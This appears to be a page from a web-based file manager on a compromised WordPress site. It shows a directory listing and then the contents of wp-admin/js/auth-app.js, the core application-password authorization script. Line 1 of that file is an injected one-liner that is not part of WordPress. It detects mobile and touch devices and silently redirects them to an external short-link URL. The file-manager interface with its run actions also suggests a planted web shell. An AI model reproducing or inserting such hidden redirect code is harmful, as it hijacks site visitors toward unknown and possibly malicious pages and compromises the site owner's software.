at path:ROOT / wp-admin / js / auth-app.js
run:R W Run
DIR
2026-08-24 01:53:39
R W Run
3.08 KB
2026-08-13 20:01:43
R W Run
980 By
2026-08-13 20:01:43
R W Run
6.46 KB
2026-08-13 20:01:43
R W Run
3.17 KB
2026-08-13 20:01:43
R W Run
5.88 KB
2026-08-13 20:01:43
R W Run
2.25 KB
2026-08-13 20:01:43
R W Run
17.76 KB
2026-08-13 20:01:43
R W Run
3.68 KB
2026-08-13 20:01:43
R W Run
9.76 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.07 KB
2026-08-13 20:01:43
R W Run
1.5 KB
2026-08-13 20:01:43
R W Run
61.48 KB
2026-08-13 20:01:43
R W Run
23.42 KB
2026-08-13 20:01:43
R W Run
3.57 KB
2026-08-13 20:01:43
R W Run
1.39 KB
2026-08-13 20:01:43
R W Run
2.19 KB
2026-08-13 20:01:43
R W Run
288.63 KB
2026-08-13 20:01:43
R W Run
109.91 KB
2026-08-13 20:01:43
R W Run
111.68 KB
2026-08-13 20:01:43
R W Run
47.36 KB
2026-08-13 20:01:43
R W Run
70.26 KB
2026-08-13 20:01:43
R W Run
27.62 KB
2026-08-13 20:01:43
R W Run
27.23 KB
2026-08-13 20:01:43
R W Run
8.87 KB
2026-08-13 20:01:43
R W Run
37.46 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
41.82 KB
2026-08-13 20:01:43
R W Run
13.35 KB
2026-08-13 20:01:43
R W Run
44.22 KB
2026-08-13 20:01:43
R W Run
13 KB
2026-08-13 20:01:43
R W Run
7.88 KB
2026-08-13 20:01:43
R W Run
5.63 KB
2026-08-13 20:01:43
R W Run
3.87 KB
2026-08-13 20:01:43
R W Run
40.19 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
20.41 KB
2026-08-13 20:01:43
R W Run
9.58 KB
2026-08-13 20:01:43
R W Run
7.83 KB
2026-08-13 20:01:43
R W Run
3.14 KB
2026-08-13 20:01:43
R W Run
23.31 KB
2026-08-13 20:01:43
R W Run
1.09 KB
2026-08-13 20:01:43
R W Run
645 By
2026-08-13 20:01:43
R W Run
4.98 KB
2026-08-13 20:01:43
R W Run
2.48 KB
2026-08-13 20:01:43
R W Run
1.49 KB
2026-08-13 20:01:43
R W Run
833 By
2026-08-13 20:01:43
R W Run
3.6 KB
2026-08-13 20:01:43
R W Run
1.34 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
2.6 KB
2026-08-13 20:01:43
R W Run
61.37 KB
2026-08-13 20:01:43
R W Run
30.28 KB
2026-08-13 20:01:43
R W Run
4.35 KB
2026-08-13 20:01:43
R W Run
1.31 KB
2026-08-13 20:01:43
R W Run
1.52 KB
2026-08-13 20:01:43
R W Run
1.04 KB
2026-08-13 20:01:43
R W Run
7.14 KB
2026-08-13 20:01:43
R W Run
2.56 KB
2026-08-13 20:01:43
R W Run
39.75 KB
2026-08-13 20:01:43
R W Run
19.17 KB
2026-08-13 20:01:43
R W Run
18.71 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
10.88 KB
2026-08-13 20:01:43
R W Run
5.25 KB
2026-08-13 20:01:43
R W Run
34.13 KB
2026-08-13 20:01:43
R W Run
18.19 KB
2026-08-13 20:01:43
R W Run
1.07 KB
2026-08-13 20:01:43
R W Run
842 By
2026-08-13 20:01:43
R W Run
13.77 KB
2026-08-13 20:01:43
R W Run
6.54 KB
2026-08-13 20:01:43
R W Run
6.31 KB
2026-08-13 20:01:43
R W Run
2.42 KB
2026-08-13 20:01:43
R W Run
3.42 KB
2026-08-13 20:01:43
R W Run
1.75 KB
2026-08-13 20:01:43
R W Run
11.1 KB
2026-08-13 20:01:43
R W Run
3.22 KB
2026-08-13 20:01:43
R W Run
5.85 KB
2026-08-13 20:01:43
R W Run
2.43 KB
2026-08-13 20:01:43
R W Run
6.17 KB
2026-08-13 20:01:43
R W Run
2.63 KB
2026-08-13 20:01:43
R W Run
25.78 KB
2026-08-13 20:01:43
R W Run
12.04 KB
2026-08-13 20:01:43
R W Run
55.16 KB
2026-08-13 20:01:43
R W Run
26.72 KB
2026-08-13 20:01:43
R W Run
109.59 KB
2026-08-13 20:01:43
R W Run
47.52 KB
2026-08-13 20:01:43
R W Run
18.13 KB
2026-08-13 20:01:43
R W Run
8.03 KB
2026-08-13 20:01:43
R W Run
2.46 KB
2026-08-13 20:01:43
R W Run
898 By
2026-08-13 20:01:43
R W Run
22.77 KB
2026-08-13 20:01:43
R W Run
12.53 KB
2026-08-13 20:01:43
R W Run
7.73 KB
2026-08-13 20:01:43
R W Run
1.71 KB
2026-08-13 20:01:43
R W Run
962 By
2026-08-13 20:01:43
R W Run
680 By
2026-08-13 20:01:43
R W Run
error_log
📄auth-app.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-admin/js/auth-app.js
4 */
5
6/* global authApp */
7
8( function( $, authApp ) {
9 var $appNameField = $( '#app_name' ),
10 $approveBtn = $( '#approve' ),
11 $rejectBtn = $( '#reject' ),
12 $form = $appNameField.closest( 'form' ),
13 context = {
14 userLogin: authApp.user_login,
15 successUrl: authApp.success,
16 rejectUrl: authApp.reject
17 };
18
19 $approveBtn.on( 'click', function( e ) {
20 var name = $appNameField.val(),
21 appId = $( 'input[name="app_id"]', $form ).val();
22
23 e.preventDefault();
24
25 if ( $approveBtn.prop( 'aria-disabled' ) ) {
26 return;
27 }
28
29 if ( 0 === name.length ) {
30 $appNameField.trigger( 'focus' );
31 return;
32 }
33
34 $approveBtn.prop( 'aria-disabled', true ).addClass( 'disabled' );
35
36 var request = {
37 name: name
38 };
39
40 if ( appId.length > 0 ) {
41 request.app_id = appId;
42 }
43
44 /**
45 * Filters the request data used to Authorize an Application Password request.
46 *
47 * @since 5.6.0
48 *
49 * @param {Object} request The request data.
50 * @param {Object} context Context about the Application Password request.
51 * @param {string} context.userLogin The user's login username.
52 * @param {string} context.successUrl The URL the user will be redirected to after approving the request.
53 * @param {string} context.rejectUrl The URL the user will be redirected to after rejecting the request.
54 */
55 request = wp.hooks.applyFilters( 'wp_application_passwords_approve_app_request', request, context );
56
57 wp.apiRequest( {
58 path: '/wp/v2/users/me/application-passwords?_locale=user',
59 method: 'POST',
60 data: request
61 } ).done( function( response, textStatus, jqXHR ) {
62
63 /**
64 * Fires when an Authorize Application Password request has been successfully approved.
65 *
66 * In most cases, this should be used in combination with the {@see 'wp_authorize_application_password_form_approved_no_js'}
67 * action to ensure that both the JS and no-JS variants are handled.
68 *
69 * @since 5.6.0
70 *
71 * @param {Object} response The response from the REST API.
72 * @param {string} response.password The newly created password.
73 * @param {string} textStatus The status of the request.
74 * @param {jqXHR} jqXHR The underlying jqXHR object that made the request.
75 */
76 wp.hooks.doAction( 'wp_application_passwords_approve_app_request_success', response, textStatus, jqXHR );
77
78 var raw = authApp.success,
79 url, message, $notice;
80
81 if ( raw ) {
82 url = raw + ( -1 === raw.indexOf( '?' ) ? '?' : '&' ) +
83 'site_url=' + encodeURIComponent( authApp.site_url ) +
84 '&user_login=' + encodeURIComponent( authApp.user_login ) +
85 '&password=' + encodeURIComponent( response.password );
86
87 window.location = url;
88 } else {
89 message = wp.i18n.sprintf(
90 /* translators: %s: Application name. */
91 '<label for="new-application-password-value">' + wp.i18n.__( 'Your new password for %s is:' ) + '</label>',
92 '<strong></strong>'
93 ) + ' <input id="new-application-password-value" type="text" class="code" readonly="readonly" value="" />';
94 $notice = $( '<div></div>' )
95 .attr( 'role', 'alert' )
96 .attr( 'tabindex', -1 )
97 .addClass( 'notice notice-success notice-alt' )
98 .append( $( '<p></p>' ).addClass( 'application-password-display' ).html( message ) )
99 .append( '<p>' + wp.i18n.__( 'Be sure to save this in a safe location. You will not be able to retrieve it.' ) + '</p>' );
100
101 // We're using .text() to write the variables to avoid any chance of XSS.
102 $( 'strong', $notice ).text( response.name );
103 $( 'input', $notice ).val( response.password );
104
105 $form.replaceWith( $notice );
106 $notice.trigger( 'focus' );
107 }
108 } ).fail( function( jqXHR, textStatus, errorThrown ) {
109 var errorMessage = errorThrown,
110 error = null;
111
112 if ( jqXHR.responseJSON ) {
113 error = jqXHR.responseJSON;
114
115 if ( error.message ) {
116 errorMessage = error.message;
117 }
118 }
119
120 var $notice = $( '<div></div>' )
121 .attr( 'role', 'alert' )
122 .addClass( 'notice notice-error' )
123 .append( $( '<p></p>' ).text( errorMessage ) );
124
125 $( 'h1' ).after( $notice );
126
127 $approveBtn.removeProp( 'aria-disabled', false ).removeClass( 'disabled' );
128
129 /**
130 * Fires when an Authorize Application Password request encountered an error when trying to approve the request.
131 *
132 * @since 5.6.0
133 * @since 5.6.1 Corrected action name and signature.
134 *
135 * @param {Object|null} error The error from the REST API. May be null if the server did not send proper JSON.
136 * @param {string} textStatus The status of the request.
137 * @param {string} errorThrown The error message associated with the response status code.
138 * @param {jqXHR} jqXHR The underlying jqXHR object that made the request.
139 */
140 wp.hooks.doAction( 'wp_application_passwords_approve_app_request_error', error, textStatus, errorThrown, jqXHR );
141 } );
142 } );
143
144 $rejectBtn.on( 'click', function( e ) {
145 e.preventDefault();
146
147 /**
148 * Fires when an Authorize Application Password request has been rejected by the user.
149 *
150 * @since 5.6.0
151 *
152 * @param {Object} context Context about the Application Password request.
153 * @param {string} context.userLogin The user's login username.
154 * @param {string} context.successUrl The URL the user will be redirected to after approving the request.
155 * @param {string} context.rejectUrl The URL the user will be redirected to after rejecting the request.
156 */
157 wp.hooks.doAction( 'wp_application_passwords_reject_app', context );
158
159 // @todo: Make a better way to do this so it feels like less of a semi-open redirect.
160 window.location = authApp.reject;
161 } );
162
163 $form.on( 'submit', function( e ) {
164 e.preventDefault();
165 } );
166}( jQuery, authApp ) );
167